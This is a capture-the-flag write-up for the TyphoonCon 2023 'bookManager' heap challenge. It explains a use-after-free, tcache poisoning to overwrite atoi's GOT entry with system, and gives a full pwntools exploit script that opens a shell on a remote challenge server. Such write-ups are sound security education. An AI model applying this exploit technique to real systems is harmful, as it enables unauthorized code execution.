BookManager [TyphoonConCTF 23]
This is a writeUp for challenge bookManager which was one of the three pwning challenges in typhoonCon CTF 2023. It is a fairly easy challenge given some knowledge of heap internals (tcache).
Code analysis
The main function is a simple while loop containing a switch statement, having calls to other functions.

The important ones for us are the following
new_book() allocates a new slot (book) for us. It can allocate upto 5 books and it picks up the first empty slot and fills it with a malloc allocation of the size we specify.
edit_book() takes an index verifies that it is valid and not null and writes data to the allocation from new_book(). There seems to be no overflow here.
show_book() simply prints out an allocation at a given index if it is not null. This can be used for information disclosure.
delete_book() deletes the allocation using free but does not null out the pointer in books array resulting in a dangling pointer and this is where the bug lies.
Background on tcache
tcache is a cache structure on top of the heap allocator bins and it contains recently freed allocations of sizes 24 to 1032 in bins of specified sizes. In ptmalloc2 allocations happen as chunks, i.e., tcache contains free chunks. the chunk structure is as follows
struct chunk{
size_t previous_size;
size_t size;
struct chunk* next;
struct chunk* prev;
// remaining data follows
};
the previous_size is size of the previous chunk in memory. size is size of the current chunk and next and prev are pointers to other chunks in a doubly linked list. However, in case of tcache only the next pointer is used and prev is unused as chunks in one bin are put in a singly linked list in a LIFO manner.
Also note that, malloc returns the address of next pointer as start of the buffer not the start of the chunk, so, next pointer occupies the first few bytes of a free malloc buffer, but when allocated the same space has user data. Consider the following code.
a = malloc(0x10);
b = malloc(0x10);
free(a);
free(b);
c = malloc(0x10); // b is returned
d = malloc(0x10); // a is returned
the following image shows how deallocations happen. Note that now b will be allocated before a.

The important thing to note here is that the free chunks are in a singly linked list. if any of the next pointers is corrupted allocations will happen from a corrupted linked list and malloc can be made to return manipulated addresses as allocations. This is exactly what we do in this challenge.
Exploitation
Main Idea
If we delete_book() an allocation and then edit_book() on it, we can modify the next pointer of the book so the second new_book() with the same size will return an allocation with the address we wrote using edit_book().
This gives us arbitrary read primitive using show_book() and arbitrary write using edit_book().
atoi
Since it is partial RELRO and no PIE we can easily overwrite .got entry for atoi. atoi is called in every iteration of the main loop in read_int here is a decompilation for completeness.

We first get an allocation with the address of .got entry for atoi using our edit_book() method. We read address of atoi and get libc base address from there and then write address of system in the .got entry.
So in the next loop we send "/bin/sh" in the next iteration of main loop giving us shell.
Full Exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("./task")
libc = ELF("./libc-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
else:
r = remote("0.cloud.chals.io", 29394)
return r
r = conn()
def malloc(sz) :
r.recvuntil(b'>> ')
r.send(b'1')
r.recvuntil(b'size:\n')
r.send(bytes(str(sz), 'ascii'))
def free(idx) :
r.recvuntil(b'>> ')
r.send(b'3')
r.recvuntil(b'index:\n')
r.send(bytes(str(idx), 'ascii'))
def show(idx) :
r.recvuntil(b'>> ')
r.send(b'4')
r.recvuntil(b'index:\n')
r.send(bytes(str(idx), 'ascii'))
r.recvuntil(b'OUTPUT: ')
return r.recvline()
def edit(idx, content) :
r.recvuntil(b'>> ')
r.send(b'2')
r.recvuntil(b'index:\n')
r.send(bytes(str(idx), 'ascii'))
r.recvuntil(b'content:\n')
r.send(content)
def main():
malloc(0x10)
free(0)
edit(0, p64(exe.got['atoi']))
malloc(0x10)
malloc(0x10)
libc.address = u64(show(2)[:6].ljust(8, b'\x00')) - libc.symbols['atoi']
print(f"LIBC ADDRESS : {hex(libc.address)}")
edit(2, p64(libc.symbols['system']))
r.send(b'/bin/sh\x00')
r.recvuntil(b'>> ')
r.send(b'/bin/sh \x00')
r.interactive()
if __name__ == "__main__":
main()
Let me know what you think of this article on twitter @Owl_A_ or leave a comment below!